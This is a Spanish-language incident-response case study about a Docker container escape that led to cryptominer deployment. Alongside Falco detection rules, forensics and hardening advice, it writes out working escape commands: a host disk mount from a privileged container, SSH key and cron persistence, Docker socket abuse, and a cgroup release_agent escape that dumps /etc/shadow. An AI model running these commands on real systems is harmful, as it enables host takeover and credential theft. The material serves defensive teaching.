AvanzadoDockercontainer escapecontainer securityFalcoauditdkernel exploitrunCforensicsMITRE ATT&CK

Container Escape: Docker Breakout y Respuesta a Incidente

Análisis completo de técnicas de container escape en Docker: contenedores privilegiados, montaje del host filesystem, exploits del kernel, vulnerabilidades runC. Detección con Falco y auditd, contención, forense de contenedores, hardening y mapeo ATT&CK.

MalwareIntel Research··13 min lectura
Serie: Casos de Uso — Parte 25

El mito del aislamiento perfecto

Los contenedores Docker revolucionaron el despliegue de aplicaciones, pero con una premisa de seguridad que muchos malinterpretan: los contenedores no son máquinas virtuales. Mientras una VM ejecuta su propio kernel aislado, los contenedores comparten el kernel del host y dependen de mecanismos de aislamiento de Linux (namespaces, cgroups, capabilities, seccomp) que pueden ser subvertidos si están mal configurados o si el kernel tiene vulnerabilidades.

Un container escape (o breakout) ocurre cuando un atacante logra salir del contenedor y ejecutar código en el host. En un entorno de producción con cientos de contenedores, esto equivale a comprometer toda la infraestructura.

En este caso de uso, analizamos un incidente real donde un atacante explotó una configuración insegura de Docker para escapar del contenedor, acceder al host, y desplegarse lateralmente en la infraestructura.

El modelo de seguridad de contenedores

Antes de analizar el escape, es importante entender qué mecanismos de aislamiento proporciona Docker:

Namespaces

Los namespaces de Linux crean vistas aisladas de los recursos del sistema:

NamespaceAíslaQué significa para el contenedor
PIDProcesosEl contenedor ve solo sus propios procesos
NETRedEl contenedor tiene su propia interfaz de red
MNTSistema de ficherosEl contenedor ve solo su filesystem
UTSHostnameEl contenedor tiene su propio hostname
IPCComunicación inter-procesoSemáforos y memoria compartida aislados
USERUIDs/GIDsRoot dentro del contenedor puede no ser root en el host

Capabilities

Linux divide los privilegios de root en capabilities individuales. Docker por defecto elimina muchas capabilities peligrosas:

Capabilities ELIMINADAS por defecto:
  CAP_SYS_ADMIN    → Montar filesystems, configurar namespaces
  CAP_SYS_PTRACE   → Trazar/depurar otros procesos
  CAP_SYS_MODULE   → Cargar módulos del kernel
  CAP_NET_ADMIN    → Configurar la red del host
  CAP_SYS_RAWIO    → Acceso directo a dispositivos

Capabilities MANTENIDAS por defecto:
  CAP_CHOWN, CAP_DAC_OVERRIDE, CAP_FOWNER, CAP_NET_BIND_SERVICE, etc.

¿Qué rompe --privileged?

docker run --privileged ...

Este flag desactiva prácticamente todas las protecciones:

  • Otorga TODAS las capabilities
  • Desactiva el perfil seccomp
  • Desactiva AppArmor/SELinux
  • Da acceso a todos los dispositivos del host (/dev/*)
  • Permite montar cualquier filesystem

Contexto del incidente

Infraestructura:

  • Cluster de 5 servidores Docker (sin Kubernetes, Docker Compose)
  • Ubuntu 22.04, Docker 24.0
  • 47 contenedores en producción (aplicaciones web, APIs, bases de datos, colas)
  • Red interna: 10.0.0.0/16

Aplicación comprometida:

  • Contenedor de aplicación Node.js con vulnerabilidad RCE (deserialización insegura)
  • El contenedor ejecutaba con --privileged (configuración heredada, "siempre se hizo así")
  • El desarrollador necesitaba acceso a Docker socket para operaciones de CI/CD

Timeline:

  • T+0: Explotación de la vulnerabilidad RCE en la aplicación Node.js
  • T+15min: Reconocimiento dentro del contenedor, descubrimiento de acceso privilegiado
  • T+30min: Container escape al host
  • T+1h: Movimiento lateral a otros hosts Docker
  • T+4h: Despliegue de cryptominer en todos los hosts
  • T+12h: Alerta de Falco en un host que sí lo tenía configurado
  • T+13h: Comienza la respuesta al incidente

Técnicas de container escape

El atacante exploró múltiples vectores de escape. Documentamos cada técnica:

Técnica 1: Contenedor privilegiado (la utilizada)

Con --privileged, el atacante tiene acceso directo a los dispositivos del host:

# Dentro del contenedor privilegiado
$ fdisk -l
/dev/sda1  *      2048  1953525134  976762543+  83  Linux

# Montar el filesystem del host
$ mkdir /tmp/host
$ mount /dev/sda1 /tmp/host

# Ahora /tmp/host contiene TODO el filesystem del host
$ ls /tmp/host/
bin  boot  dev  etc  home  lib  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var

# Acceder a las claves SSH del host
$ cat /tmp/host/root/.ssh/authorized_keys

# Escribir una clave SSH del atacante
$ echo "ssh-rsa AAAAB3... attacker@c2" >> /tmp/host/root/.ssh/authorized_keys

# Escribir un crontab de persistencia
$ echo "* * * * * /tmp/miner.sh" >> /tmp/host/var/spool/cron/crontabs/root

# O directamente hacer chroot al host
$ chroot /tmp/host /bin/bash
root@host:/#   # Ahora somos root en el host

Técnica 2: Docker socket montado

Si el contenedor tiene acceso al Docker socket (/var/run/docker.sock), puede controlar Docker en el host:

# Verificar si el socket está montado
$ ls -la /var/run/docker.sock
srw-rw---- 1 root docker 0 Jun  5 00:00 /var/run/docker.sock

# Instalar Docker CLI dentro del contenedor
$ curl -fsSL https://get.docker.com | sh

# Crear un contenedor privilegiado que monte el host
$ docker run -it --privileged --pid=host --net=host \
    -v /:/host alpine chroot /host /bin/bash

# Ahora somos root en el host
root@host:/#

Técnica 3: Exploit del kernel (CVE-2022-0185)

Si el contenedor ejecuta como root (aunque sin --privileged), ciertas vulnerabilidades del kernel permiten escapar:

# CVE-2022-0185: heap overflow en la función legacy_parse_param
# del VFS del kernel Linux (afecta kernels < 5.16.2)

# El exploit necesita CAP_SYS_ADMIN dentro de un user namespace
$ unshare -Urm
# Si el kernel es vulnerable, el exploit escala a root en el host

Técnica 4: Vulnerabilidad runC (CVE-2024-21626)

Una vulnerabilidad en runC (el runtime de contenedores usado por Docker) permite escapar mediante file descriptors heredados:

# CVE-2024-21626: runC hereda file descriptors del proceso host
# Un contenedor con un Dockerfile especialmente construido puede
# acceder al filesystem del host a través de /proc/self/fd/

Técnica 5: Montaje del cgroup (sin --privileged)

Si el contenedor tiene CAP_SYS_ADMIN (incluso sin --privileged), puede escapar via cgroups:

# Crear un cgroup que ejecute un comando en el host
$ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
$ mkdir /tmp/cgrp/x
$ echo 1 > /tmp/cgrp/x/notify_on_release
$ host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
$ echo "$host_path/cmd" > /tmp/cgrp/release_agent
$ echo '#!/bin/bash' > /cmd
$ echo "cat /etc/shadow > $host_path/shadow_dump" >> /cmd
$ chmod +x /cmd
$ sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
# El comando /cmd se ejecuta en el host cuando el cgroup se libera

Fase 1: Detección

Alerta de Falco

Solo uno de los 5 hosts tenía Falco instalado. Cuando el atacante intentó montar el filesystem del host en ese servidor:

# Alerta de Falco
- rule: "Container Privileged - Mount Host Filesystem"
  output: >
    Privileged container mounted host filesystem
    (user=%user.name command=%proc.cmdline container=%container.name
     image=%container.image.repository mount_dest=/tmp/host)
  priority: CRITICAL
  tags: [container, escape, mitre_privilege_escalation]
20:34:15.000000 Critical Container Privileged - Mount Host Filesystem
  user=root command=mount /dev/sda1 /tmp/host
  container=app-nodejs-prod image=node:18-alpine
  container_id=a1b2c3d4e5f6

Investigación inicial

# En el host donde Falco alertó
# Verificar contenedores privilegiados
$ docker ps --format '{{.Names}} {{.ID}}' | while read name id; do
    priv=$(docker inspect "$id" --format '{{.HostConfig.Privileged}}')
    if [ "$priv" = "true" ]; then
        echo "PRIVILEGED: $name ($id)"
    fi
done
PRIVILEGED: app-nodejs-prod (a1b2c3d4e5f6)
PRIVILEGED: ci-runner (f7e8d9c0b1a2)

# Verificar montajes del socket Docker
$ docker ps --format '{{.Names}} {{.ID}}' | while read name id; do
    docker inspect "$id" --format '{{range .Mounts}}{{.Source}}{{end}}' | \
        grep -q "docker.sock" && echo "DOCKER_SOCKET: $name ($id)"
done
DOCKER_SOCKET: ci-runner (f7e8d9c0b1a2)

Fase 2: Forense del contenedor

Captura del estado del contenedor

# Exportar el filesystem del contenedor comprometido
$ docker export a1b2c3d4e5f6 > /forensics/container_export.tar

# Inspeccionar los logs del contenedor
$ docker logs a1b2c3d4e5f6 --timestamps > /forensics/container_logs.txt

# Inspeccionar los procesos del contenedor
$ docker top a1b2c3d4e5f6
PID   USER  COMMAND
14523 root  node /app/server.js
14891 root  /bin/bash
14923 root  mount /dev/sda1 /tmp/host
15012 root  /tmp/host/usr/bin/curl http://pool.minexmr.com

# Inspeccionar las conexiones de red del contenedor
$ docker exec a1b2c3d4e5f6 ss -tupn
State  Local Address:Port    Peer Address:Port
ESTAB  10.0.1.5:49123        185.XX.XX.XX:443     users:(("curl",pid=15012))
ESTAB  10.0.1.5:49234        pool.minexmr.com:3333 users:(("xmrig",pid=15100))

Análisis del historial de bash

# Extraer historial de comandos del contenedor
$ docker exec a1b2c3d4e5f6 cat /root/.bash_history
id
uname -a
cat /proc/1/cgroup
fdisk -l
mkdir /tmp/host
mount /dev/sda1 /tmp/host
ls /tmp/host/root/.ssh/
cat /tmp/host/root/.ssh/id_rsa
# Copia de la clave SSH del host
echo "ssh-rsa AAAA..." >> /tmp/host/root/.ssh/authorized_keys
# Instalar herramientas
apt update && apt install -y nmap
nmap -sn 10.0.0.0/24
# SSH al siguiente host
ssh -o StrictHostKeyChecking=no [email protected]
ssh -o StrictHostKeyChecking=no [email protected]
ssh -o StrictHostKeyChecking=no [email protected]
ssh -o StrictHostKeyChecking=no [email protected]

Timeline del ataque

TiempoAcciónUbicación
03:00RCE en Node.js (deserialización insegura)Contenedor
03:05Reconocimiento: id, uname, /proc/1/cgroupContenedor
03:10Descubrimiento de --privileged via /proc/1/statusContenedor
03:15mount /dev/sda1 /tmp/host (escape al host)Host 1
03:20Extracción de SSH key del hostHost 1
03:25Inyección de SSH key del atacanteHost 1
03:30nmap -sn 10.0.0.0/24 (descubrimiento de red)Host 1
03:45SSH a hosts 2, 3, 4 y 5 con la clave robadaHosts 2-5
04:00Despliegue de cryptominer en todos los hostsTodos

Fase 3: Contención y remediación

Contención inmediata

# 1. Detener el contenedor comprometido
$ docker stop a1b2c3d4e5f6

# 2. Bloquear tráfico de red del atacante
$ iptables -I INPUT -s 185.XX.XX.XX -j DROP
$ iptables -I OUTPUT -d pool.minexmr.com -j DROP

# 3. En TODOS los hosts: matar procesos de cryptominer
$ for host in 10.0.0.{1..5}; do
    ssh root@$host "pkill -9 xmrig; pkill -9 minerd" 2>/dev/null
  done

# 4. Eliminar claves SSH del atacante en todos los hosts
$ for host in 10.0.0.{1..5}; do
    ssh root@$host "sed -i '/attacker@c2/d' /root/.ssh/authorized_keys" 2>/dev/null
  done

# 5. Eliminar crontabs maliciosos
$ for host in 10.0.0.{1..5}; do
    ssh root@$host "crontab -r" 2>/dev/null
  done

# 6. Regenerar SSH keys de todos los hosts
$ for host in 10.0.0.{1..5}; do
    ssh root@$host "rm /etc/ssh/ssh_host_*; dpkg-reconfigure openssh-server" 2>/dev/null
  done

Eliminar la causa raíz

# 1. Eliminar flag --privileged de TODOS los contenedores
# docker-compose.yml:
# ANTES:
#   app:
#     privileged: true
# DESPUES:
#   app:
#     security_opt:
#       - no-new-privileges:true
#     read_only: true
#     cap_drop:
#       - ALL
#     cap_add:
#       - NET_BIND_SERVICE

# 2. Eliminar montajes del Docker socket
# Si CI/CD necesita Docker, usar Docker-in-Docker (dind) o Kaniko

# 3. Ejecutar contenedores como non-root
# Dockerfile:
# RUN addgroup -g 1001 appuser && adduser -u 1001 -G appuser -D appuser
# USER appuser

Despliegue de Falco en todos los hosts

# docker-compose-falco.yml
version: '3'
services:
  falco:
    image: falcosecurity/falco:latest
    privileged: true
    volumes:
      - /var/run/docker.sock:/host/var/run/docker.sock
      - /proc:/host/proc:ro
      - /boot:/host/boot:ro
      - /lib/modules:/host/lib/modules:ro
      - ./falco-rules:/etc/falco/rules.d
    environment:
      - FALCO_GRPC_ENABLED=true

Reglas de Falco personalizadas

# /etc/falco/rules.d/container-escape.yaml

- rule: Container Escape via Privileged Mount
  desc: Detect mount of host devices from within a container
  condition: >
    container and evt.type = mount and
    (fd.name startswith /dev/sd or fd.name startswith /dev/vd or
     fd.name startswith /dev/xvd or fd.name startswith /dev/nvme)
  output: >
    Container mounted host device
    (user=%user.name command=%proc.cmdline container=%container.name
     device=%fd.name image=%container.image.repository)
  priority: CRITICAL
  tags: [container, escape]

- rule: Docker Socket Access from Container
  desc: Detect access to Docker socket from within a container
  condition: >
    container and fd.name = /var/run/docker.sock and
    evt.type in (connect, open)
  output: >
    Container accessed Docker socket
    (user=%user.name command=%proc.cmdline container=%container.name)
  priority: HIGH
  tags: [container, escape]

- rule: Container Namespace Change
  desc: Detect namespace manipulation from within a container
  condition: >
    container and evt.type in (setns, unshare) and
    not proc.name in (runc, containerd-shim)
  output: >
    Container attempted namespace change
    (user=%user.name command=%proc.cmdline container=%container.name
     ns_type=%evt.arg.flags)
  priority: CRITICAL
  tags: [container, escape]

- rule: Privileged Container Started
  desc: Alert when a privileged container is started
  condition: >
    container and evt.type = container and
    container.privileged = true
  output: >
    Privileged container started
    (container=%container.name image=%container.image.repository
     user=%user.name)
  priority: WARNING
  tags: [container, misconfiguration]

Hardening de Docker

Configuración segura de Docker daemon

// /etc/docker/daemon.json
{
  "no-new-privileges": true,
  "live-restore": true,
  "userland-proxy": false,
  "log-driver": "json-file",
  "log-opts": {
    "max-size": "10m",
    "max-file": "3"
  },
  "default-ulimits": {
    "nofile": {
      "Name": "nofile",
      "Hard": 64000,
      "Soft": 64000
    }
  },
  "icc": false,
  "userns-remap": "default"
}

Checklist de seguridad de contenedores

[ ] NO usar --privileged (nunca en producción)
[ ] NO montar /var/run/docker.sock en contenedores
[ ] Ejecutar como non-root (USER en Dockerfile)
[ ] Usar read_only: true cuando sea posible
[ ] cap_drop: ALL y añadir solo las necesarias
[ ] Usar seccomp profile (default o custom)
[ ] Usar AppArmor o SELinux profiles
[ ] Escanear imágenes con Trivy/Grype antes de deploy
[ ] No usar imágenes :latest (versiones fijas)
[ ] Habilitar user namespace remapping
[ ] Network policies para aislar contenedores
[ ] Falco o auditd para monitorización runtime
[ ] Actualizar Docker y kernel regularmente

IOCs del incidente

Red

TipoValorContexto
IPv4185.XX.XX.XXIP del atacante (C2 y SSH)
Dominiopool.minexmr.comPool de minería Monero
Puerto3333/tcpConexión al pool de minería
Puerto443/tcpC2 del atacante

Host

IndicadorValor
SSH keyssh-rsa AAAA... attacker@c2
Binario/tmp/xmrig (cryptominer)
Crontab* * * * * /tmp/miner.sh
Procesomount /dev/sda1 /tmp/host desde contenedor

Contenedor

IndicadorValor
Contenedorapp-nodejs-prod (privilegiado)
Imagennode:18-alpine
VulnerabilidadDeserialización insegura en la aplicación
Montaje/dev/sda1 en /tmp/host

Mapeo MITRE ATT&CK

TácticaTécnicaIDDetalle
Initial AccessExploit Public-Facing ApplicationT1190RCE en aplicación Node.js
Privilege EscalationEscape to HostT1611Container escape via --privileged
PersistenceAccount Manipulation: SSH Authorized KeysT1098.004Inyección de SSH key
PersistenceScheduled Task/Job: CronT1053.003Crontab para cryptominer
DiscoveryNetwork Service DiscoveryT1046nmap de la red interna
DiscoverySystem Information DiscoveryT1082Reconocimiento del host
Lateral MovementRemote Services: SSHT1021.004SSH a otros hosts con clave robada
Defense EvasionExploitation for Defense EvasionT1211Abuso de --privileged
ImpactResource HijackingT1496XMRig cryptominer en 5 hosts

Lecciones aprendidas

1. --privileged es root en el host. No existe un caso de uso legítimo en producción que justifique --privileged. Si una aplicación "necesita" privilegios, el problema está en la arquitectura, no en los permisos.

2. El Docker socket es la llave maestra. Montar /var/run/docker.sock dentro de un contenedor es equivalente a dar acceso root al host. Para CI/CD, usar Kaniko (builds sin daemon) o Docker-in-Docker con aislamiento adicional.

3. Un host comprometido compromete todos los contenedores. La falta de aislamiento entre hosts Docker (todos compartían las mismas SSH keys) permitió que el atacante se moviera lateralmente sin obstáculos.

4. Falco en un solo host no es suficiente. La detección llegó 12 horas después del compromiso porque solo un host de cinco tenía monitorización. La cobertura de seguridad debe ser del 100%.

5. Las configuraciones heredadas son deuda de seguridad. El flag --privileged se configuró inicialmente "para pruebas" y nunca se eliminó. Las revisiones periódicas de configuración de contenedores son imprescindibles.

6. La seguridad de contenedores es defensa en profundidad. Ninguna medida individual es suficiente. La combinación de imágenes escaneadas, contenedores non-root, capabilities mínimas, seccomp, network policies, y monitorización runtime proporciona capas que el atacante debe superar todas.


Caso anonimizado con fines educativos. Los IOCs han sido modificados para proteger la identidad de la organización afectada. Todos los indicadores se proporcionan con contexto defensivo.

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.